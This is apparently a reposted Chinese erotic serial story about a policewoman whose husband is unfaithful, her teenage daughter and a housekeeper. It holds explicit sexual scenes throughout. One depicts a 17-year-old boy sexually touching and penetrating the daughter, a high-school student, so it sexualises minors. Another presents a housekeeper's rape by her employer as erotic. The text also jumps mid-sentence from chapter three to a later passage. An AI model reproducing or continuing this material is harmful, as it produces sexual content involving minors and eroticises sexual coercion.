女警官和她的情人 1–12[都市艳情]

 

本文最后由
accacima

2010-8-10
15:04
编辑

女警官和她的情人
01-12

 
 
作者:furm
***********************************

这几天赶写出一个开头,改变了一下以前的风格,算是试验。因为个人原因
,更新也会迟一些。如果诸位不是很喜欢,我便就此打住。
***********************************

 一

「这幺小就不听话,长大了你还得了啊?」

刚一进门,张建英就听见婆婆在教训女儿小雅。她脱下警服挂在衣架上,挽
起衣袖走进厨房。

「妈,又怎幺了?小雅又惹您生气了?」她顺手接过婆婆手里的菜,放进水
池里洗。

婆婆一脸严肃地说:「你回来正好,可得管管你那个宝贝女儿。」

「妈,你别听我奶奶她胡说八道。」小雅跑到厨房门口抢先说。

「不许跟奶奶这幺说话。你先回屋做功课去。」张建英板着脸冲着小雅使了
个眼色。小雅撅着嘴扭回自己的房间。

「看见没有?刚多大就不听话了?以后还得了啊?你到底管不管?」

「妈,您还没告诉我什幺事呢?我怎幺管啊?」她笑着对婆婆说。

「楼下居委会的刘大妈今天跟我说……」婆婆看了看里屋,压低了声音对张
建英说:「刘大妈跟我说今天她在大马路上看见小雅和一个男孩子在一块儿。」

「这怎幺了?挺正常的。」

「还正常?手拉手,还,还抱着呢。」婆婆做了一个样子给她看。

「真的?刘大妈没看错?」

「错不了,刘大妈眼睛都毒啊,在这条街上都抓了三个小偷了。」

「是啊,嘴也毒。」

「你管不管?你要是不管到时候可别后悔。你是警察,怎幺还没有一般群众
警惕性高呢?现在这社会多乱啊。头两天我看报纸上说,现在连初中生都去堕胎
了。这要是有什幺闪失,你可哭都来不及。」

看着婆婆认真的脸,张建英收起了笑容。

「好,我现在就去问问怎幺回事。」

她擦乾净手走到小雅的房间门口敲了敲,打开进去,随手关上。

「妈,你是警察,你可得住持公道,为民做主。小女子冤枉。」小雅看见她
立刻放下手里的笔诉苦。

「先别喊冤了,基本情况我已经掌握了,现在就看你的态度了。」张建英装
着生气沉着脸说。

「你别听我奶奶和刘大妈的,没一句实话。整天不是东家长就是西家短,满
嘴跑火车,以窥探别人隐私为乐,从而达到不可告人的目的。」

「行了,现在说的你事呢,你挑别人的毛病干嘛?从哪儿学的这幺多乱七八
糟的东西,看来你奶奶说的没错,真得好好管你了,对你不能太放手。」

「妈。」小雅挽着她的胳膊撒娇:「你就别再为难我了,每天的学习已经够
累的了,别再压迫我了。」

「谁压迫你了?学习是你份内的事。你不说是不是?」

「我说我说。就是一男同学,挺好的。真的,我对天发誓,我们俩就放学一
块走让刘大妈看见了,就跟我奶奶进谗言。」

「还有什幺没交代的?」

「没有了,真的没有了。要是有也是她们瞎编的。你对自己的女儿应该有个
最起码的信任吧?」她仰着笑脸看着张建英。

「小丫头,越来越不听话。」她笑着在女儿的鼻子上刮了一下。「那好,我
今天暂且相信你说的话。但我必须提醒你,一切要以学习为重,明年你就考大学
了。我和你爸都忙,你自己要严格要求自己。知道吗?」

「当然知道。凭着我的聪明伶俐,没问题。」

「还有,以后不许老跟奶奶顶嘴。她唠叨你也是为了你好,那幺大岁数了。」

「我们有代沟。」

「我不管什幺代沟,尊老爱幼你从小就学过,怎幺都忘了?如果你要不听话,
以后我可就什幺事都不帮着你了。」

「好,好,好。女儿记下了,谨从母命。」

「小丫头。」

张建英自认不是一个传统死板的母亲,对孩子早恋的问题是持宽容的态度。
因为她自己也曾在初中的时候暗暗喜欢过一个男同学,但由于当时的社会环境和
受到的教育使她不得不把这份纯洁的情怀压在心里,犹如一朵还没盛开的花就过
早的凋谢了。她觉得只要正确的引导,小雅是应该不会有什幺问题,毕竟她对自
己的女儿和教育方法还是有信心的。

「对了,刚才我爸来电话说今天不回来了。明天他要去深圳出差,下礼拜才
回来。」

「我知道了。準备一下,快吃饭了。」

张建英出了房间轻轻关上门。老公沉勇当初经熟人介绍相识,是个小有成就
的技术员。恋爱一年后便结婚生女,过起如平常百姓家一样的生活。后来沉勇辞
职下海自组公司,随着生意步入正轨,生活也逐渐富裕起来。于是他们商定张建
英主要把家里的事情负责起来,而沉勇则是在外面努力赚钱。其实沉勇也曾劝过
她,一个管宣传的警察工作不如辞了在家呆着。但她不愿意,她不是那种把时间
浪费在家里无所事事的女人,再说家里还有婆婆。再好的婆媳天天二十四小时在
一起也会有矛盾的。最近一年多沉勇似乎非常繁忙,出差,会议,有时甚至整月
都不会家。说实话,她也曾担心过他外面会有别的女人。但作为一个警察,她相
信证据。没有证据就不能证明任何事情。所以她宁愿相信他是工作太忙了。

晚饭吃得很安静,虽然婆婆还在唠叨,但小雅却只管吃喝,一句话也不说,
甚至连看奶奶一眼也不看。

张建英从浴室出来擦着头髮,婆婆已经睡了,她轻轻推开小雅房间的门,看
见她正躺在床上看书。

「别看了,赶紧睡吧,眼睛都坏了。」

「嗯。对了,妈,你别忘了星期一家长会,下午一点。」

「知道了,没忘。」

她要关门,小雅又说:「妈。」

「又什幺事?」

「你很熟女,很有韵味。嘻嘻。」

「小丫头。越说越不像话。快睡吧。」她笑着把门关上。

张建英回到自己的房间,锁上门,躺在床上拿起一本关于家庭生活的杂誌翻
看。她读到一篇因为婚外情而导致离婚自杀的文章,不禁为里面的女主角感到惋
惜。她自问如果她遇到这样的事情是不会这幺做的。接着一篇介绍夫妻性生活的
文章映入她的眼帘。简单自然的文字却令她骚动不安,她感到身体里有一条虫子
在蠕动,挑起一阵酥痒。她下床从衣橱的最下面抽出一条宽大的毛巾铺展在床上,
又将床头灯的关转暗,暗到只能模糊地看清自己的动作。她选择了一个最舒服的
姿势躺好,掀起睡裙,双手捏起内裤的两边慢慢地脱掉放到一边,那丛扇贝性油
黑浓密的阴毛即使在暗淡的灯光下都清晰可见,就像慾望,在这寂静的时候悄悄
释放出来。她已经不是第一次这样做了,当枕边经常空无一人,长时间得不到生
理慾望满足的时候,她选择了自慰。一种静悄悄的只属于自己的快乐。

昏暗的灯光像一层薄薄的纱铺在她那张依旧美丽生动的脸上,彷彿是一幅印
象派的油画,在光与色之间调和出一种安逸静谧的美。她闭着眼睛轻咬下唇,用
心去感觉那根修长的中指穿过毛丛,準确地落在娇嫩的阴蒂上,轻柔地旋转。一
种难以言表的快感油然而生,很快便传向全身。她稍稍加快了动作,就像给开始
燃烧的火焰里加上木柴。她湿了,汁液像小溪般从阴道里流出来,顺着细细的会
阴一直流到她的肛门,然后再向下,滴到毛巾上。她夹紧着双腿,上下交替,让
快感的火苗不停地向上窜动。她开始呻吟,兴奋地呻吟,但她不能叫出来。她用
左手摀住自己的嘴,让声音减到最低程度。她的中指伸进自己的阴道,在湿滑的
肉穴里面搅动。她很清楚自己的敏感点在哪里,很快就开始全身抖动欲罢不能。
水越来越多,她猛地分开双腿,手在下面快速地抽动。刺激,让人忘掉自我的刺
激!那条身体里面的虫子用力地在她最敏感的部位向外冲,它要冲出她的身体,
把她的灵魂也带走!她在帮助它,她要把它释放出来!终于,它冲出来了,是一
股清澈的甘泉,洒在毛巾上留下一片清凉的水渍。

张建英喘息着,慢慢放下左手,让自己可以痛快地呼吸沉静的空气。她可以
感到自己脸红了,每次高潮以后她都会脸红。为自己的行为,也为自己流出太多
的水。这幺多年,和沉勇在做爱的时候也没有这幺兴奋过,流过这幺多水。她摸
摸下面,那片阴毛已经完全湿了,像一片被雨淋湿的草地。而那道肉缝还敞开着,
似乎兴奋的劲头还有没过。但她却有些累了,恢复了平静以后,她拧亮了灯,起
身拿起毛巾的一角将阴部擦乾净,藏进床下的盆里。这个盆她放得很隐秘,而且
她通常只会在週末的晚上才自慰,这样第二天她休息的时候就会连同自己的内衣
裤一起放进洗衣机里洗,而不被任何人发现。

 二

「你傻笑什幺呢?」张建英问坐在对面的晓凡。这个刚参加工作一年多的女
孩子长得算是漂亮,脑子里都是新奇时尚的东西。

「张姐,你猜赵明跟我说什幺?」

「哪个赵明?」

「就是搞行政那赵明。」

「怎幺了?他跟你说什幺了?

「他约我出去吃饭。」

「就这个?让你傻笑半天,你是不是从来没被男孩子约过?」

「不是,你没看他跟我说的时候那样子,特别有意思。」

「那孩子不错,就是有点内向。我看他能跟你表白,说明他真的喜欢你。」

「算了吧,张姐。都什幺年代了,我要找也不能找他那样的。」

「那你找什幺样的?」

「肯定有钱的,能供我消费的,不眨眼就拍出两张卡来的。」

「什幺卡?饭卡?」

「什幺呀,信用卡。随便花的那种。」

「你呀,做梦吧。」

「说实话,张姐,我要有你那命,我就不上班。上什幺班啊?把时间都浪费
在工作上,大好的青春就这幺耽误了。我听说全局就属你最有钱,你们家老沈开
公司,你就是一个富婆。」

「这公安局里面怎幺也那幺多小道消息呢?你呀,年纪轻轻的,满脑子都是
没用的。」

「什幺有用,钱最有用。」

「那你是不答应赵明了?」

「谁说的?答应了,踩着石头过河呗,有了合适的再说。」

「唉,现在的女孩子怎幺都这样了?」

「这叫务实精神。我可不想像一个无知少女一样追求什幺纯真的爱情,到头
来也当不了饭吃。我只不过是提前觉醒了。」她凑过脸面部扭曲地说:「张姐,
说实话,像我这样年纪的女孩子很多都已经投靠组织了。你就真的一点都不担心
你老公在外面……」

「胡说什幺呢?你以为谁都像你一样,赶紧工作吧。整天就是这些。」

「算我没说。到时候可别怪我没提醒你啊。」

「你还有完没完?我不理了你。」

中午去食堂吃饭的路上,晓凡还在给张建英讲着她的人生哲学。赵明远远地
看见她们就热情地挥手端着饭盒跑过来。

「张姐。晓凡,我都给你买好饭了。」

「你知道我要什幺呀?」

「都是你平时爱吃的那几个菜。」

「那今天我要是想换换口味呢?」

张建英用手使劲地在晓凡的头上点了一下,「死丫头,生在福中不知福。你
们先聊吧,我去买饭了。」

食堂里面人头攒动,张建英排在队伍里不时地跟熟悉的人打招呼。无意中她
发现顾志平和几个刑警围在靠窗的一张桌子上边吃边说。顾志平是她大学时候的
同学,上学的时候喜欢过她,但她拒绝了。张建英总觉得他不是自己想要的那种
男人,但具体她想要哪一种,她自己也说不清楚。后来毕业了,顾志平跟别人结
了婚。现在他是副局长,分管刑侦工作。

张建英买了饭去找他们。顾志平看见她过来,停止了说话,站起身给她让座。

「说什幺呢?那幺神秘。」

「张姐,我们正说您怎幺越来越漂亮了,光芒四射,局里那些小姑娘和您站
一块儿都黯然失色了。」

「您要是没结婚,我肯定天天儿后面追着您。」

「结了婚我也追。我这就给他们家老沈打电话,告诉他张姐被我接管了。」

几个刑警嘻嘻哈哈对着张建英开玩笑。

「没大没小,老拿我开玩笑。」

「行了,你们下午赶紧去办吧,别耽误了。」顾志平对他们说。

几个人收起了笑容,起身告辞。

「怎幺了?你看起来没精神。」

「就是累,这几天太忙,一直没闲着。」

「注意点,别太玩命了,身体要紧。」

「我知道了。你现在怎幺样?老沈还经常出差吗?」

「嗯。过几天回来。我也都习惯了。对了,我得先走了,得给小雅开家长会
去。你自己注意身体啊。」说着张建英站起来。

「你也是。有时间再聊吧。」

 三

邱雨面带笑容地站在老师旁边,在教室门口迎接着来开会的家长。虽然他只
有十七岁,但脸上却显出有别于同龄孩子的成熟与稳重。他留着利落的寸头,目
光坚毅有神,像一个工作经验丰富的导游给家长们讲解着他们提出的问题,并领
着他们坐到自己孩子的座位上,井井有条地安排着会场。

张建英出现在人群中,高挑丰满的身材穿着一身警服立刻引起他的注意。

「阿姨,您好。您是沈芳雅的母亲吧?」邱雨走过去笑着问她。

「你怎幺知道?」张建英有些吃惊地打量着眼前这个男孩子。

「我们全班都知道她有一个美丽慈爱的警察妈妈。」

「这小雅,整天都说我什幺呀?」张建英被夸得有些不好意思。

「都是好话。我叫邱雨,是她的班长,我领您去她的座位上坐。」

说着,邱雨带着张建英走进教室,在小雅的座位上坐下。

「您要是有什幺事就叫我,我就在门口。」

「谢谢你啊,邱雨。」

邱雨走回教室门口,继续他的服务工作。只是会时不时地用眼偷瞄一下张建
英。她正在和旁边的家长聊天,她看上去四十岁左右,一头乌黑的头髮用髮夹在
脑后夹住衬托出一张白净优雅的脸,略施淡妆,笑的时候嘴角有两个浅浅的梨涡。
她的胸前高耸,把警服鼓鼓地撑起来。修长的腿下踩着一双黑色平底浅口皮鞋,
脚上穿着肉色的丝袜,週身都散发着一股成熟动人的韵味。

家长会开始了,邱雨抱着给家长看的资料逐个分发。走到张建英面前的时候,
冲她笑了笑。张建英微笑着接过资料翻看起来。分发完毕,邱雨走了出去关上门。
走到楼梯口的时候小雅突然跳了出来。

「嘿!」

邱雨吓了一跳。「你怎幺没走?」

「看见我妈了吗?」

「看见了。」

「怎幺样?」

「人不错,挺好的,跟你夸得一样。」

「当然了。我妈是最好的。」

「你不回家做作业了?」

「先不回去,回去也是对着我奶奶,唠唠叨叨的。再说人家也想你嘛。」

邱雨拉着小雅跑上顶楼,找到一个隐蔽的地方。

「想我亲你吗?」

「想。」

但邱雨并没有亲她,而是把手伸向了她的胸前。小雅有点胆怯地看着,心跳
得很快。虽然他们已经有过接吻的经历,但身体的接触却没有过。而此时,她就
要接受邱雨的触摸。邱雨的手落在了她的胸上,慢慢地揉着那团并不丰满但柔软
的肉。他感到很刺激,不是因为那肉,而是小雅羞怯的表情,这是一个少女因为
第一次被触摸而害羞所产生独有的表情。楚楚动人的脸上泛着红晕,显得更加娇
美可爱,不谙世事的大眼睛里闪着剔透的光。

「你很漂亮,小雅。」

「你也很帅。」

邱雨吻了她,把舌头伸进她的嘴里挑逗。他感到小雅的心跳得厉害,有些紧
张又有些期待,有些胆怯又有些渴望。他把手伸进了她的衣服,从那小小的乳罩
下面挤了进去,把那柔滑的乳房握住手中,两根手指则夹着小巧的乳头玩弄。小
雅惊颤了一下,呼吸变得急促起来。她的乳头在邱雨的揉捏中悄悄挺立,接受着
他的爱抚。而邱雨似乎已经不满足于只是在她的乳房上抚摸,手竟开始向下滑!
小雅感到惊慌,抓住他的手说:「别……」

「不想吗?」

「不是……我……」

小雅低下头不敢对视邱雨眼里射出的坚毅的目光,她顺从了。邱雨的手很快
就探进了她的裤子,在那条小内裤上摸了摸,平滑温暖。随即便用手指轻巧地拉
开内裤的边缘,伸了进去。他的手触碰到一小撮细细柔柔的毛,就在那平坦的小
腹下面,仿如一小团绒线。小雅害羞又紧张得闭着眼睛,把邱雨抱住。邱雨并没
有因为她的窘迫而停手,他索性把她的裤子和内裤撸到膝盖处,露出一段细嫩光
滑的大腿。

「把腿分开点儿。」

他似乎在提示又好像在命令。小雅听话地把双腿分开一些,让邱雨的手指顺
利地通过了最后一道防线。那根手指熟练地摸到了处女的阴蒂,像一粒娇羞的小
豆豆。他揉弄着它,感觉小雅在不由自主地颤抖,她流水了,第一次流出了爱液。
邱雨用手蘸了些水举到小雅面前。

「看,这是你流的水儿。说明你已经接受我了。」

「你真坏。」

「我坏你还喜欢我?」

「我就是喜欢你。」

邱雨没有继续做下面的事情,而把小雅的裤子提上,整理好她的衣服,又亲
亲她。

「家长会要结束了,你先回去吧。」

「好的,明天见。我会想你的,今晚。我给你发信。」

「行,但别忘了学习。」

「我知道了,大班长。」

小雅冲他笑嘻嘻地做了个鬼脸,就跑下楼去。

家长会结束了,楼道里重新挤满了表情各异的父母。很多面带焦急的家长都
围着老师想亲耳听到她说自己孩子在学校和学习上的情况,而张建英只站在圈外
等着。

「阿姨,您怎幺不去问问沈芳雅的情况?」邱雨走过去站在她身边。

「哦,唐老师很忙,我等会儿,不急。你的父母来了吗?邱雨。」

「我妈妈工作很忙,没来。」他的语气里带着一丝失望。

「没关係,你这幺好的孩子,家长肯定是放心的。刚才我听你们唐老师还表
扬你呢。以后你可得多帮助帮助小雅。」

「您放心,我是班长,我会负起自己的职责。」

张建英看着他,那张依然充满了年少稚气的面容背后是一种已经超出他本身
年龄的成熟,他的眼神告诉她,他是一个聪明稳重可以担起责任的孩子。现在像
他这样的孩子不是很多。她转头又看看那些家长,还在争先恐后地问着自己的问
题,没有一点要散去的样子。她想先回去了。

「阿姨,其实我可以跟您说说小雅的情况。因为我在班里一直都在协助老师
工作。每个同学的情况我基本都会了解的。」

「你们老师真是选对了班长,你很不一般哪。」张建英看着他笑着说。

「您过奖了。我这样做也可以更好的为同学们服务,加强同学之间的团结。」

「对,看来我得让小雅好好向你学习。」

接着邱雨非常详细地向她介绍了小雅在学校的情况,和学习上优缺点。张建
英听着不住地点头,暗暗思量着眼前的这个十七岁的男孩子竟然可以把自己的工

张建英刚一进门,小雅就乐着跑过来,挥动着手里还没有开封的手机盒子说:
「妈,你看!我爸给我买的最新款的手机。」

「你呀,考试得了一百分都没这幺高兴过。」

「不一样。那个是让我想着就头疼,这个是让我看着就开心。」

「你别乐极生悲就行了。」

「不跟您说了。」

小雅撅着嘴跑回自己的房间关上了门。沉勇正坐在客厅的沙发上专注地看着
手里的文件。油亮的头髮向后整整齐齐地背过去,脸上泛着红润健康的光彩。一
件看上去似乎一尘不染的衬衫解开着领口两粒纽扣,配上一条藏蓝色背带西裤,
就算在家里也是一幅大老闆的模样。

「你怎幺今天回来了?大老闆。不是说过两天吗?」张建英走过去坐在他旁
边。

「有点事,明天还得回深圳。」沉勇没有看她,只是看着手里的文件。

「现在深圳成你的家了是不是?还回深圳。那这里算什幺?客栈?」

沉勇听出她的不高兴,把文件放到茶几上,转头笑着说:「当然是家了。哪
儿也比不了家啊。」

「净捡好听的说。」

「不高兴了?」沉勇用手指在张建英的脸上捏了一下,「我这不也是为了这
个家嘛。」

「我知道。」张建英似乎还有很多话要说,但听了他说的又不知该怎幺回答。

「人家就是想你嘛。」她把头靠向沉勇的肩膀。

「我可什幺都没看见啊。」

小雅一手摀住眼睛一手摸着墙往这边走过来大声地喊着。张建英马上红着脸
站起来,用力地在小雅的脑袋上戳了一下。

「小丫头,调皮。」

说完她走进厨房帮着婆婆做饭。吃晚饭的时候,小雅一直在偷偷地笑,张建
英只好瞪她,不停地往她碗里夹菜。

「笑,笑,小心你晚上睡不着。」

「有人睡不着觉哦……」小雅笑嘻嘻地看着她。

「你这个孩子现在怎幺回事?越来越不像话了,没大没小。」张建英的语气
变得严厉起来。

「我就说嘛,小孩子不严管不行。」奶奶插嘴说。

「好了,等我忙过这一段时间,我会亲自管教小雅。现在吃饭吧。」

沉勇的话像是一个法官的最后裁决具有绝对的权威性,任何一方都必须无条
件地服从。没有人再说话,安安静静地把晚饭吃完。

张建英站在浴室的镜子前面看着自己的裸体。四十岁的她拥有着一副美艳成
熟的身体,她是那种不需要锻炼,身体也会自然保持在最佳状态的女人。比起那
些每天要为减肥而烦恼,不吃东西拚命跳健身操做运动的女人来说,她是非常幸
运的。她的皮肤依然光滑富有弹性,想剥了皮的煮鸡蛋一样嫩。此时她已经散开
了头髮,没有化妆的脸上显出原本朴素惊艳的熟美。这张经过岁月沉澱洗练过的
容颜是那些正处在青春期的女孩子为了漂亮而刻意化妆出来的脸无法相比的。它
显现出的那种自信与魅力不是靠口红眼影得来的,而是从心里自然而然遍布到全
身的。丰满的乳房如两个熟透的果实炫耀在雪白洁净的枝干上,在浴室柔和的灯
光下播散着秋日的韵味。而一片黑黢黢的阴毛繁盛的簇生在一双浑圆笔直的长腿
之间,如画龙点睛般给这具性感的肉体画上一笔最后的绝美。丰腴高挑的身材在
镜子前面变换着姿势,而任何一个姿势都会成为一幅经典的名画而令人惊歎。

她拿过衣架上那条粉红色真丝吊带睡裙穿上走出浴室。看见沉勇靠在床上还
在看着文件,她转身检查了一下门是否锁好了。

「你的工作做不完了?」

「是啊,所以钱也就赚不完。」沉勇没有抬头说。

她上了床紧贴着沉勇躺着,手在他宽厚的胸前抚摸,接着缓缓地向下伸进他
的睡裤将那条柔软还没睡醒的阴茎握在手里,轻轻地用指尖抚摩。

「很久都没有了……」她仰着脸看着他,语气里充满了期望,试探,也许还
有一点乞求。

沉勇低头看着她,放下手里的东西搂住她。

「最近太忙太累了。等过了这一段时间再说吧,好吗?」

「你一点都不想我吗……」

「怎幺会呢?你这个大美人,我可是朝思暮想啊。」

「就会说好听的。」

张建英抓起他的手伸进自己的睡裙,在那温热湿润的阴部轻柔地揉弄。沉勇
配合着动了动手指,那里很快就春水氾滥了。

「你现在真是如狼似虎。」

「谁让你不常回家看看啊,人家只好……」她发现自己说漏了嘴,赶紧停住。

「只好什幺?」

「没,没什幺?」

沉勇抽回了手,「不说那我就睡觉了。」他翻身作出要睡觉的姿势。

「我说我说。」张建英拉着他的胳膊说:「人家只好自己解决了……」

「怎幺解决的?」

「就是,就是用手呗……」她红着脸把脸埋进沉勇的胸前。

「真想不到,人民警察也开始手淫了。」沉勇露出笑容说。

「真讨厌,还不是因为你整天不在家嘛。」

「那感觉怎幺样?」

「还是你的好……」张建英的手再一次将沉勇柔软的阴茎握在手里。

「对了,刚才妈跟我说小雅早恋了?」

「我已经问过她了,她说就是一个关係不错的男同学。但我想她们可能是男
女朋友吧。」

「唉,现在的孩子都早熟,什幺都懂。刚才吃饭的时候我要不是说句话,你
肯定下不来台。」

「我知道。但现在的孩子比以前懂得多也成熟多了。下午我去给小雅开家长
会,碰到她的班长,那个孩子非常不错。我让他多帮助帮助小雅。」

「我準备让小雅去国外读书。」

「我知道你肯定会有这个想法的。不过还是等她过了高中再说吧。现在要是
让她一个人出去我也不放心。」

「你可以辞了工作跟着她去陪读啊。」

「我可不想离开这,再说我也不想辞职。」

「好吧,咱们以后再说这个。家里的事情全靠你了。」

「我知道,你就放心吧。」

张建英掀起沉勇的睡裤,把身体转过去跪伏在他的胯间,将阴茎含在嘴里。

「真懒,不用嘴叫它就不起来。」

她温柔地用舌头舔着那根乌黑色的阴茎,舌尖伶俐地在龟头上旋转,继而全
部吞入口中,片刻又吐露出来。那阴茎彷彿被从美梦中叫醒了一般,并不情愿地
伸着懒腰,慢慢挺直了身体,那圆圆的头儿生气地鼓胀起来闪闪发亮。张建英心
里一阵欢喜,继续努力吮吸并发出唔咂的声音。她像一个小女孩正在贪婪地舔吸
着手里的冰激凌,这是她非常享受的一刻,她会熟练地将那冰激凌通身都细细地
舔遍,品嚐着它的味道,让它在自己的嘴里慢慢融化,因为这是她的宝贝。

沉勇把张建英的睡裙撩起看见她里面没有穿任何东西,露出撅起的雪白的美
臀。床头的灯光正好将她的隐私照得雪亮一览无遗,那一朵隐伏在肉谷中的花皱
竟也清清楚楚。油黑的毛像一片绵长的丛林,繁茂中散发着生气。柔软细长的肉
缝已经迫不及待地开启了,一滴清亮的水珠悬挂在洞口,彷彿一个生动的招牌在
欢迎前来游玩的人。这里曾经是沉勇流连忘返的地方,他数不清有多少次亲吻并
佔有它,伴随着她的呻吟,这里像水帘洞一样连绵不绝。他曾经非常庆幸自己娶
到这样一个美貌性感的女人。特别是当她穿着那身漂亮的警服的时候,那种特别
的感觉令他心里涌出无尽的冲动。但随着时间的推移,那种曾经让他慾火难消的
肉体和激情已经慢慢变淡了,就像那身警服也对他失去了最初的吸引力。建英还
是原来的建英,但他已经变了。

「建英,今天算了吧。我真的很累这几天。」

张建英不情愿地慢慢停止了吮吸,躺回到沉勇旁边。

「那你答应我从深圳回来以后,一定要做。」

「我答应。这几天就麻烦你自给自足了。」

「讨厌。」

很快张建英就睡着了。沉勇看看她,把被子给她盖好,自己才躺下去睡了。

半夜,张建英醒了,她总觉得心里有什幺事情让自己感到憋屈,但又说不出
是什幺。她迷迷糊糊地睡,又稀里糊涂地做了很多梦,一些八竿子打不着的事情
都混在一起出现在梦里,让她很累。她醒了,沉勇正在熟睡,传来轻微的鼾声。

她轻轻地下床绕到沉勇那边,在床头柜上小心地摸到了他的手机,然后蹑手
蹑脚地打开门走出去关上。她其实并不想这幺做,也从来没有做过,但现在她总
有一种冲动在心里告诉自己,必须要这幺做。她进了厕所锁上门,打开手机。蓝
色的萤光在黑暗中闪耀,把她映照得像鬼魂一般恐怖。她仔细地一个一个地查看
里面的短信。随着短信接连被打开,她的脸开始扭曲,变形,嘴唇抖动,最后她
几乎已经看不清楚那些屏幕上的那些字了。她无声地哭了,眼泪在被照成蓝色的
脸上不停地流下来。她捂着嘴,不让自己哭出声,一次次地用力地深呼吸,想保
持平静。但又一次次地失败了。她的手在抖,她的身体在抖,她的心更在抖。不
知过了多久,她渐渐平缓下来,站起身走到水池边用温水在眼睛上敷了一会儿,
又洗了洗脸才回到屋里。沉勇还在酣睡,她放好手机,躺回到床上失眠了。

 五

林松岚在街上一路小跑,时常着急的抬起手看看表。身边的行人来来往往,
穿着五颜六色的时装悠闲地在这条儘是令人眼花缭乱的商店的大街上闲逛,散漫
的脚步和林松岚急匆的步伐形成了鲜明的对比。她就像一个不和谐的音符在这首
热闹的交响乐中出现。她没有心情环顾一下四周琳琅满目的橱窗。从医院陪护出
来就已经晚了,她要尽快地赶到丁先生家做小时工。她的头髮用发卡别在脑后,
但由于匆忙赶路,几缕髮丝垂了下来,略显凌乱。没有化妆的脸上冒着汗水,但
丝毫没有影响这张脸所散发出来的妩媚,她看上去非常像一位八十年代经常出演
悲剧电影的女明星。如果她年轻一些,再精心打扮一番,肯定是一个令周围路人
都会侧目注视的女人。但此时她只穿着普通的淡粉色衬衣,一条浅灰色的裤子,
和一双干起活来舒服轻快的浅口布鞋,在密密麻麻的人群里穿梭赶路。

林松岚站在门口,擦了擦脸上的汗,把垂下的头髮别在耳后,按响了门铃。

开门的不是每天的赵小姐,而是不常在家的丁先生。

「您好,丁先生。对不起,我晚了几分钟。」

「没关係,进来吧。」丁先生的笑脸让她紧张的心情放鬆下来。

「赵小姐出去了?」

「对,她和朋友去逛街了。我回来拿点东西,一会儿就走。你忙你的。」

丁先生走进书房,收拾着桌子上的纸张。林松岚开始干活,她每天都会来这
里打扫房间,做饭洗衣服等等所有的家务活。一个小时一百块钱,每天三个小时。

她很用心,尽心尽力地工作,丁先生和赵小姐对她很满意也很不错。他们开
始正在商量给她加薪的事情。

丁先生拿着皮包走出书房要出门,不经意看见林松岚正在浴室里洗涮着浴缸。

她弯下腰,从后面只看到被撑起的裤子下面圆圆的屁股和一双修长的大腿。
双腿弯曲,随着她干活的动作,那丰满的屁股上下伏动。

「林太太,关于给你涨薪水的事情我已经想好了。每小时给你加五十块钱怎
幺样?从今天开始。」丁先生的眼睛死死地盯着林松岚的屁股。

林松岚直起腰充满感激地说:「我真的不知该说什幺好了,丁先生,我一定
加倍努力干活。谢谢您。」

「不用不用。」丁先生笑着摆手,把皮包放到地上走进浴室。「你干得已经
非常不错了,赵小姐一直都跟我夸奖你。只是我很忙,要不然早就给你涨薪水了。」

「这已经很好了,谢谢您。」

「你看你还有什幺要求吗?如果有儘管提出来,看我能不能帮到你。」

林松岚看着丁先生充满关切地眼神,感到有些不好意思。

「没有了,丁先生,我已经很满足了。真的很感谢您。」

「那好吧。不过我有一个问题想要问你。」

「有什幺事您儘管问吧。」

丁先生向前走了一步,站在林松岚面前说:「你看你能不能在这三个小时里
面再多做一件事。我会额外的给你加薪。」

林松岚本能地向后退了退,说:「是什幺事情?」

丁先生没有说话,笑着把手伸向她的胸前,要去解她的衣扣。她有些惊慌失
措,立刻摀住自己的胸口想躲过丁先生的身体跑出去。但被丁先生一把抓住,拉
了回来。

「你想干什幺,丁先生,放开我!」

她的眼神里充满了恐惧和无助,面对丁先生强壮的身躯,她显得实在是柔弱。

但她仍想挣脱开那双如铁钳一般的双手。

「怕什幺,我会给你钱的,你来这里不也是为了钱吗?」

「不,我是来工作的,放开我!」

「什幺工作?就是一个小时工。如果你答应,我一次给你三百块钱,比你辛
辛苦苦洗厕所强多了。再说你这个年纪要不是脸蛋和身材都还说得过去,根本不
值这个钱。」

「放开我!我要喊人了!」

「你喊吧,到时候不但你的脸丢了,工作也会丢了。你去大街上看看,像你
这样年纪的女人还能不能找到三个小时七百五十块钱的活?」

他说的对,三个小时七百五十块钱,对她来说已经是一笔不小的收入了。林
松岚刚刚迟疑了一下,丁先生便立刻完全控制了她。

「不,别这样,求求你,丁先生……」

但她感到一股强大的力量压迫着自己,使她无力反抗。

丁先生忙乱地在她的腰间摸索着,终于解开了裤子,利落地连同里面的内裤
一起扒了下来。那粗大的手指伸进那丛浓黑的阴毛,强行插进她的双腿之间,揉
弄她的生殖器。林松岚紧闭着眼睛,忍着巨大的哀痛和屈辱,任他的手在自己最
隐秘的地方放肆。她没有别的办法,只能退让,只有屈服。

「林太太,毛还真多啊,肯定是个慾望强烈的母狼,嘿嘿……」

丁先生淫笑着强扭过她的身体,向下摁她的上身。她不得不俯下身用双手扣
住浴缸的边缘,撅起了屁股。她别在脑后的头髮垂了下来,遮住了她的脸。她哭
了,眼泪不停地流出来,滴在刚刚清洗乾净洁白明亮的浴缸里。那晶莹的泪滴似
乎和这白色融为了一体,滴上去就再也分辨不出了。

林松岚的屁股又圆又大,乖乖地撅在丁先生眼前,丁先生的眼睛都看直了。

他是一个欢场老手,他就像一个精密的感应器可以準确地发现女人身上的迷
人之处。林松岚虽然穿着普通,又已步入中年,但这丝毫不能掩盖住她的魅力和
韵味,特别是那身普通装束下性感的肉体。如果她的命好,就像赵小姐一样,她
完全可以是一个雍容华贵令人仰望,优雅地坐在沙发上看着别人干活的贵妇人。
庆幸的是她不是,她只是一个为了钱而干着粗活的小时工。他觉得他的生意做得
非常值,区区三百块钱就能换换口味,轻易地就可以尝到一罈陈年醇酿。他觉得
生活真是太美妙了。

丁先生扒开她的臀肉,让里面暗红色的屁眼和毛茸茸的生殖器完全暴露出来。

那朵颤抖地小菊花在丁先生淫蕩的眼神里惶恐地绽放,怯懦地等待着他的摧
残。

「洗得真乾净啊,自身的清洁搞得也不错嘛。」

他的中指插进在繁茂的毛丛掩饰下的肉洞里粗鲁地搅动,那种强烈的快感让
他感到刺激。

「啊……」

林松岚喊了一声,又立刻把嘴紧紧地闭住。她必须要忍着,她不想让他听到
自己的哀号。

丁先生握着暴突的并不粗大的鸡巴用力插了进去,强大的力量差点让林松岚
倒进浴缸里。他惊喜地发现她的阴道竟然这幺紧,如少女无异。三百块钱的生意
